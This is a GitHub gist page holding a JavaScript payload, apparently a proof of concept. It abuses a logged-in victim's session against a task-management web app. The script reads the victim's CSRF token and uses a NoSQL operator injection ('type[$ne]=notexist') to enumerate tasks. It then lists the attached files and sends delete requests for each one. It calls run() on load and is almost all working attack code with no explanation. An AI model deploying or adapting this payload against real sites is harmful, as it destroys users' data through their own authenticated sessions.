Created
          January 31, 2025 14:03 
        
      - 
      
 - 
        
Save thehackerish/e12c81b2baeb299442a72cfddf572ec1 to your computer and use it in GitHub Desktop.  
  
    
      This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
      Learn more about bidirectional Unicode characters
    
  
  
    
  | function xhr(hostname, path, verb, csrf, body) { | |
| return new Promise((resolve, reject) => { | |
| var xhr = new XMLHttpRequest(); | |
| xhr.open(verb, hostname + path, true); | |
| xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded; charset=UTF-8"); | |
| xhr.withCredentials = true; | |
| xhr.onreadystatechange = function () { | |
| if (xhr.readyState === 4) { | |
| if (xhr.status === 200) { | |
| resolve(xhr.responseText); | |
| } else { | |
| reject(new Error("Request failed with status " + xhr.status)); | |
| } | |
| } | |
| }; | |
| if (body){ | |
| body = "_csrf="+csrf+"&"+body; | |
| var aBody = new Uint8Array(body.length); | |
| for (var i = 0; i < aBody.length; i++){ | |
| aBody[i] = body.charCodeAt(i); | |
| } | |
| xhr.send(new Blob([aBody])); | |
| } | |
| else xhr.send(); | |
| }); | |
| } | |
| async function get_csrf(hostname, path, verb){ | |
| data = await xhr(hostname, path, verb, null); | |
| var parser = new DOMParser(); | |
| var doc = parser.parseFromString(data, "text/html"); | |
| var csrfToken = doc.querySelector("meta[name='_csrf']")?.getAttribute("content"); | |
| return csrfToken; | |
| } | |
| async function get_task_ids(hostname, csrf) | |
| { | |
| data = await xhr(hostname, "/tasks/json-data", "POST", csrf, "completed=0&own=0&type[$ne]=notexist"); | |
| tasks = JSON.parse(data)["aaData"]; | |
| out = []; | |
| for (var i = 0; i < tasks.length; i++) { | |
| out.push(tasks[i]["id"]); | |
| } | |
| return out; | |
| } | |
| async function get_task_files(hostname, task_id) | |
| { | |
| etag = Math.floor(10**12 + Math.random() * 2 * 10**12); | |
| data = await xhr(hostname, "/files/tasks/"+ task_id +"/ls?_="+etag, "GET"); | |
| data = JSON.parse(data); | |
| out = []; | |
| for (var i = 0; i < data.length; i++) { | |
| if (data[i]) out.push(data[i]["id"]); | |
| } | |
| return out; | |
| } | |
| function delete_files(hostname, ids, csrf){ | |
| for (var i = 0; i < ids.length ; i++) { | |
| xhr(hostname, "/files/tasks/"+ids[i]+"/delete", "POST", csrf, "foo=bar"); | |
| } | |
| } | |
| async function run(){ | |
| hostname = ""; | |
| csrf = await get_csrf(hostname, '/p/', 'GET') | |
| tasks = await get_task_ids(hostname, csrf); | |
| tasks = ["6703de8ca1e6e30e2f502985"]; | |
| file_ids = []; | |
| for (var i = 0; i < tasks.length; i++) { | |
| files = await get_task_files(hostname, tasks[i]); | |
| file_ids.push(files); | |
| } | |
| flat_ids = file_ids.flat(); | |
| delete_files(hostname, flat_ids, csrf); | |
| } | |
| run(); | 
  
    Sign up for free
    to join this conversation on GitHub.
    Already have an account?
    Sign in to comment